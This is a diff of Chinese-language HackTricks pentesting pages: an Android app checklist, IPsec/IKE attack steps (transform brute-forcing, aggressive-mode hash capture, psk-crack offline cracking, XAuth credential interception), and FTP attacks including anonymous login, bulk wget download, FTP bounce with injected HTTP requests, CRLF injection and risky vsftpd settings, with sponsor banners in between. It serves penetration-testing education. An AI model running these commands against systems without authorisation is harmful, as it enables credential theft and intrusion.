使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和自动化由全球**最先进**的社区工具提供支持的工作流程。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### [学习Android基础知识](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [基础知识](android-app-pentesting/#fundamentals-review)
@ -39,7 +39,7 @@
### [静态分析](android-app-pentesting/#static-analysis)
* [ ] 检查是否使用了[混淆](android-checklist.md#some-obfuscation-deobfuscation-information)检查是否注意到手机是否已经root是否正在使用模拟器以及反篡改检查。[阅读此处获取更多信息](android-app-pentesting/#other-checks)。
* [ ] 敏感应用程序如银行应用应检查手机是否已经root相应地采取行动
* [ ] 敏感应用程序如银行应用应检查手机是否已经root采取相应措施
* [ ] 搜索[有趣的字符串](android-app-pentesting/#looking-for-interesting-info)密码、URL、API、加密、后门、令牌、蓝牙UUID等
* [ ] 特别关注[firebase](android-app-pentesting/#firebase)API。
* [ ] [阅读清单:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
@ -50,45 +50,44 @@
* [ ] 暴露的服务
* [ ] 广播接收器
* [ ] URL方案
* [ ] 应用程序是否[在内部或外部不安全地保存数据](android-app-pentesting/#insecure-data-storage)
* [ ] 应用程序是否在内部或外部[不安全地保存数据](android-app-pentesting/#insecure-data-storage)
* [ ] 是否有任何[硬编码或保存在磁盘上的密码](android-app-pentesting/#poorkeymanagementprocesses)?应用程序是否[使用不安全的加密算法](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)
* [ ] 所有使用PIE标志编译的库
* [ ] 别忘了有一堆[静态Android分析工具](android-app-pentesting/#automatic-analysis)可以在此阶段帮助很多。
* [ ] 别忘了有一堆[静态Android分析工具](android-app-pentesting/#automatic-analysis)可以在此阶段帮助很多。
### [动态分析](android-app-pentesting/#dynamic-analysis)
* [ ] 准备环境([在线](android-app-pentesting/#online-dynamic-analysis)[本地虚拟机或物理设备](android-app-pentesting/#local-dynamic-analysis)
* [ ] 是否存在[意外数据泄露](android-app-pentesting/#unintended-data-leakage)(日志记录、复制/粘贴、崩溃日志)?
* [ ] 是否存在[意外数据泄露](android-app-pentesting/#unintended-data-leakage)(日志记录、复制/粘贴、崩溃日志)?
* [ ] [机密信息是否保存在SQLite数据库中](android-app-pentesting/#sqlite-dbs)
* [ ] [可利用的暴露活动](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)
* [ ] [可利用的内容提供者](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)
* [ ] [可利用的暴露服务](android-app-pentesting/#exploiting-services)
* [ ] [可利用的广播接收器](android-app-pentesting/#exploiting-broadcast-receivers)
* [ ] 应用程序是否[以明文传输信息/使用弱算法](android-app-pentesting/#insufficient-transport-layer-protection)?是否可能进行中间人攻击?
* [ ] 应用程序是否以明文传输信息/使用弱算法?是否可能进行中间人攻击?
* [ ] [检查HTTP/HTTPS流量](android-app-pentesting/#inspecting-http-traffic)
* [ ] 这一点非常重要,因为如果你能捕获HTTP流量你可以搜索常见的Web漏洞Hacktricks有很多关于Web漏洞的信息
* [ ] 检查可能的[Android客户端注入](android-app-pentesting/#android-client-side-injections-and-others)(可能需要一些静态代码分析的帮助
* [ ] 这一点非常重要,因为如果您可以捕获HTTP流量您可以搜索常见的Web漏洞Hacktricks中有很多关于Web漏洞的信息
* [ ] 检查可能的[Android客户端注入](android-app-pentesting/#android-client-side-injections-and-others)(可能需要进行一些静态代码分析)
* [ ] [Frida](android-app-pentesting/#frida)只使用Frida从应用程序中获取有趣的动态数据也许是一些密码...)。
### 一些混淆/反混淆信息
* [ ] [在这里阅读](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks 仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud)提交 PR 来分享你的黑客技巧**。
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
</details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用全球**最先进的**社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -7,12 +7,12 @@
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 上**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>
<figure><img src="../.gitbook/assets/image (674).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
@ -28,7 +28,7 @@ IPsec 是用于网关到网关LAN 到 LAN和主机到网关远程访问
* **第 1 阶段:**使用预共享密钥PSK或证书在 2 个端点之间建立安全通道。它可以使用主模式3 对消息)或**主动模式**
* **第 1.5 阶段:**这是可选的,称为扩展认证阶段,用于对尝试连接的用户进行身份验证(用户+密码)。
* **第 2 阶段:**使用 ESP 和 AH 协商数据安全的参数。它可以使用与第 1 阶段不同的算法(完全前向保密PFS
* **第 2 阶段:**使用 ESP 和 AH 协商数据安全的参数。它可以使用与第 1 阶段不同的算法完全前向保密PFS
**默认端口:**500/udp
@ -42,7 +42,7 @@ PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **找有效的转换**
## **找有效的转换**
IPSec配置只能准备接受一个或几个转换。一个转换是一组值的组合。**每个转换**包含一些属性如DES或3DES作为**加密算法**SHA或MD5作为**完整性算法**,预共享密钥作为**身份验证类型**Diffie-Hellman 1或2作为密钥**分发算法**以及28800秒作为**生命周期**。
@ -91,7 +91,7 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**中\
**2 = HMAC-SHA = SHA1在这种情况下。--trans格式为$Enc$Hash$Auth$DH**
思科建议特别避免使用DH组1和2。论文的作者描述了如何通过离散对数预计算来解密使用弱组协商的IPsec会话这很可能是国家可以做到的。通过使用弱组1,024位或更小的任何会话进行实时解密,数亿美元的预计算成本得到了摊销。
Cisco建议特别避免使用DH组1和2。论文的作者描述了如何通过离散对数预计算来解密使用弱组协商的IPsec会话这很可能是国家可以做到的。通过实时解密使用弱组1,024位或更小的任何会话数亿美元的预计算成本得到了摊销。
### 服务器指纹识别
@ -99,7 +99,7 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
**如果需要,指定有效的转换**(使用--trans
如果IKE发现供应商它将打印出来
如果IKE发现供应商是谁,它将打印出来:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -132,7 +132,7 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
```bash
ike-scan -P -M -A -n fakeID <IP>
```
如果**没有返回哈希值**,那么可能这种暴力破解方法会起作用。**如果返回了某个哈希值这意味着将返回一个伪造的哈希值用于伪造的ID因此这种方法不可靠**来暴力破解ID。例如可能会返回一个伪造的哈希值在现代版本中会发生这种情况
如果**没有返回哈希值**,那么可能这种暴力破解方法会起作用。**如果返回了某个哈希值这意味着将返回一个伪造的哈希值用于伪造的ID因此这种方法不可靠**来暴力破解ID。例如可能会返回一个伪造的哈希值在现代版本中会发生这种情况
![](<../.gitbook/assets/image (110).png>)
@ -195,7 +195,7 @@ psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
大多数实现使用**侵略模式的IKE与PSK进行组认证**,并使用**XAUTH提供额外的用户认证**通过Microsoft Active Directory、RADIUS或类似方式。在**IKEv2**中,**EAP替代XAUTH**用于认证用户。
大多数实现使用**预共享密钥的主动模式IKE进行组认证**,并使用**XAUTH提供额外的用户认证**通过Microsoft Active Directory、RADIUS或类似方式。在**IKEv2**中,**EAP替代XAUTH**用于认证用户。
### 本地网络中间人攻击以捕获凭据
@ -252,10 +252,10 @@ root@kali:~# ifconfig tun0
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>

View file

@ -4,14 +4,22 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 你在一家**网络安全公司**工作吗想要在HackTricks中**宣传你的公司**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本信息
**文件传输协议FTP**是一种用于在计算机网络上在客户端和服务器之间传输计算机文件的标准网络协议。\
@ -26,7 +34,7 @@ PORT STATE SERVICE
在**主动FTP**中FTP **客户端**首先从其端口N向FTP服务器的命令端口端口21**发起**控制**连接**。然后,**客户端****监听**端口**N+1**并将端口N+1发送给FTP服务器。FTP **服务器**然后从其端口M**向FTP客户端的端口N+1**发起数据**连接**
但是如果FTP客户端设置了控制来自外部的传入数据连接的防火墙则主动FTP可能会有问题。而解决这个问题的可行方法是被动FTP
但是如果FTP客户端设置了控制来自外部的传入数据连接的防火墙则主动FTP可能会有问题。因此被动FTP是一个可行的解决方案
在**被动FTP**中客户端从其端口N向FTP服务器的端口21**发起**控制**连接**。之后,客户端发出**passv命令**。服务器然后向客户端发送其一个端口号M。然后**客户端**从其端口P**向FTP服务器的端口M**发起数据**连接**。
@ -48,7 +56,7 @@ openssl s_client -connect crossfit.htb:21 -starttls ftp #Get certificate if any
To connect to an FTP server using the STARTTLS command, follow these steps:
1. Open a terminal or command prompt.
2. Use the `ftp` command followed by the IP address or domain name of the FTP server you want to connect to. For example: `ftp 192.168.0.1` or `ftp example.com`.
2. Use the `ftp` command followed by the IP address or domain name of the FTP server you want to connect to. For example: `ftp 192.168.0.1` or `ftp ftp.example.com`.
3. Enter your FTP username and password when prompted.
4. Once connected, use the `quote` command to send the `AUTH TLS` command to the server. This command enables the TLS encryption.
5. After sending the `AUTH TLS` command, use the `quote` command again to send the `PBSZ 0` command. This command sets the protection buffer size to 0.
@ -60,7 +68,7 @@ To connect to an FTP server using the STARTTLS command, follow these steps:
要使用 STARTTLS 命令连接到 FTP 服务器,请按照以下步骤操作:
1. 打开终端或命令提示符。
2. 使用 `ftp` 命令,后跟您要连接的 FTP 服务器的 IP 地址或域名。例如:`ftp 192.168.0.1` 或 `ftp example.com`。
2. 使用 `ftp` 命令,后跟您要连接的 FTP 服务器的 IP 地址或域名。例如:`ftp 192.168.0.1` 或 `ftp ftp.example.com`。
3. 在提示时输入您的 FTP 用户名和密码。
4. 连接成功后,使用 `quote` 命令向服务器发送 `AUTH TLS` 命令。此命令启用 TLS 加密。
5. 发送 `AUTH TLS` 命令后,再次使用 `quote` 命令发送 `PBSZ 0` 命令。此命令将保护缓冲区大小设置为 0。
@ -119,8 +127,8 @@ STAT
```
### 匿名登录
_anonymous : anonymous_\
_anonymous :_\
_匿名 : 匿名_\
_匿名 :_\
_ftp : ftp_
```bash
ftp <IP>
@ -147,7 +155,7 @@ nmap --script ftp-* -p 21 <ip>
```bash
ftp://anonymous:anonymous@10.10.10.98
```
请注意,如果一个**Web应用程序**直接将用户控制的数据发送到一个**FTP服务器**,你可以发送双重URL编码`%0d%0a`在双重URL编码中为`%250d%250a`)字节,并使**FTP服务器执行任意操作**。其中一个可能的任意操作是从用户控制的服务器下载内容执行端口扫描或尝试与其他基于明文的服务如HTTP进行通信。
请注意,如果一个**Web应用程序**直接将用户控制的数据发送到FTP服务器可以发送双重URL编码`%0d%0a`在双重URL编码中为`%250d%250a`)字节,并使**FTP服务器执行任意操作**。其中一个可能的任意操作是从用户控制的服务器下载内容执行端口扫描或尝试与其他基于明文的服务如HTTP进行通信。
## 从FTP下载所有文件
```bash
@ -159,36 +167,36 @@ wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
* **`USER username`**
* **`PASS password`**
* **`HELP`** 服务器指示支持的命令
* **`PORT 127,0,0,1,0,80`** 这将指示FTP服务器在IP 127.0.0.1的80端口建立连接_需要将第5个字符设置为"0"第6个字符设置为十进制端口或使用第5和第6个字符来表示十六进制端口_
* **`PORT 127,0,0,1,0,80`** 这将指示FTP服务器在IP 127.0.0.1的80端口建立连接_需要将第5个字符设置为"0"第6个字符设置为十进制端口或使用第5和第6个字符来表示十六进制端口_
* **`EPRT |2|127.0.0.1|80|`** 这将指示FTP服务器在IP 127.0.0.1的80端口建立TCP连接_由"2"表示_。此命令**支持IPv6**。
* **`LIST`** 这将发送当前文件夹中的文件列表
* **`LIST -R`** 递归列出(如果服务器允许)
* **`APPE /path/something.txt`** 这将指示FTP将从**被动**连接或**PORT/EPRT**连接接收到的数据存储到文件中。如果文件名存在,它将追加数据。
* **`STOR /path/something.txt`** 类似于`APPE`,但它覆盖文件
* **`STOR /path/something.txt`** 类似于`APPE`,但它覆盖文件
* **`STOU /path/something.txt`** 类似于`APPE`,但如果文件存在,则不执行任何操作。
* **`RETR /path/to/file`** 必须建立一个被动或端口连接。然后FTP服务器将通过该连接发送指定的文件
* **`RETR /path/to/file`** 必须建立被动或端口连接。然后FTP服务器将通过该连接发送指定的文件
* **`REST 6`** 这将指示服务器在使用`RETR`发送数据时从第6个字节开始。
* **`TYPE i`** 设置传输为二进制
* **`PASV`** 这将打开一个被动连接,并告诉用户可以连接到哪里
* **`PASV`** 这将打开一个被动连接,并指示用户可以连接到哪里
* **`PUT /tmp/file.txt`** 将指定的文件上传到FTP
![](<../../.gitbook/assets/image (227).png>)
## FTPBounce攻击
## FTP反弹攻击
一些FTP服务器允许使用PORT命令。该命令可用于指示服务器您希望连接到其他FTP服务器的某个端口。然后您可以使用此命令通过FTP服务器扫描主机的哪些端口是开放的。
一些FTP服务器允许使用PORT命令。该命令可用于指示服务器您希望连接到其他FTP服务器的某个端口。然后您可以使用此功能通过FTP服务器扫描主机的哪些端口是开放的。
[**在此了解如何滥用FTP服务器进行端口扫描。**](ftp-bounce-attack.md)
[**在此了解如何滥用FTP服务器以扫描端口。**](ftp-bounce-attack.md)
您还可以滥用此行为使FTP服务器与其他协议交互。您可以**上传包含HTTP请求的文件**并使易受攻击的FTP服务器**将其发送到任意HTTP服务器**_也许是为了添加新的管理员用户_甚至上传FTP请求并使易受攻击的FTP服务器从不同的FTP服务器下载文件。\
理论很简单:
1. **将请求(在文本文件中)上传到易受攻击的服务器。**请记住,如果您想与另一个HTTP或FTP服务器通信您需要更改带有`0x0d 0x0a`的行
2. **使用`REST X`避免发送您不想发送的字符**(也许要上传请求到文件中,您需要在开头放置一些图像头
1. **将请求(在文本文件中)上传到易受攻击的服务器。**请记住,如果您想与其他HTTP或FTP服务器通信您需要更改带有`0x0d 0x0a`的行
2. **使用`REST X`避免发送您不想发送的字符**(也许要上传请求到文件中,您需要在开头放置一些图像头)
3. **使用`PORT`连接到任意服务器和服务**
4. **使用`RETR`将保存的请求发送到服务器。**
这很可能会引发类似**Socket not writable**的错误,因为连接不足以使用`RETR`发送数据。尝试避免这种情况的建议是:
由于连接不足以使用`RETR`发送数据,这很可能会引发类似**Socket not writable**的错误。尝试避免此错误的建议是:
* 如果要发送HTTP请求请**将相同的请求连续发送一次**,直到至少达到**\~0.5MB**。像这样:
@ -216,21 +224,29 @@ vsftpd.conf
vsFTPd的默认配置可以在`/etc/vsftpd.conf`中找到。在这里,你可以找到一些危险的设置:
* `anonymous_enable=YES` - 允许匿名访问
* `anon_upload_enable=YES` - 允许匿名用户上传文件
* `anon_mkdir_write_enable=YES` - 允许匿名用户创建目录和写入文件
* `anon_root=/home/username/ftp` - 匿名用户的目录
* `chown_uploads=YES` - 更改匿名上传文件的所有
* `chown_username=username` - 被指定为匿名上传文件的所有者的用户
* `anonymous_enable=YES`
* `anon_upload_enable=YES`
* `anon_mkdir_write_enable=YES`
* `anon_root=/home/username/ftp` - 匿名用户的目录
* `chown_uploads=YES` - 更改匿名上传文件的所有
* `chown_username=username` - 被赋予匿名上传文件所有权的用户
* `local_enable=YES` - 允许本地用户登录
* `no_anon_password=YES` - 不要求匿名用户输入密码
* `write_enable=YES` - 允许执行命令STOR、DELE、RNFR、RNTO、MKD、RMD、APPE和SITE
* `write_enable=YES` - 允许命令STOR、DELE、RNFR、RNTO、MKD、RMD、APPE和SITE
### Shodan
* `ftp`
* `port:21`
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪你的攻击面运行主动威胁扫描发现整个技术栈中的问题从API到Web应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## HackTricks自动命令
```
Protocol_Name: FTP #Protocol Abbreviation if there is one.
@ -287,10 +303,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家 **网络安全公司** 工作吗?你想在 HackTricks 中看到你的 **公司广告**吗?或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗?请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)**关注** 我的 **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 中**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass),或者**关注**我在**推特**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
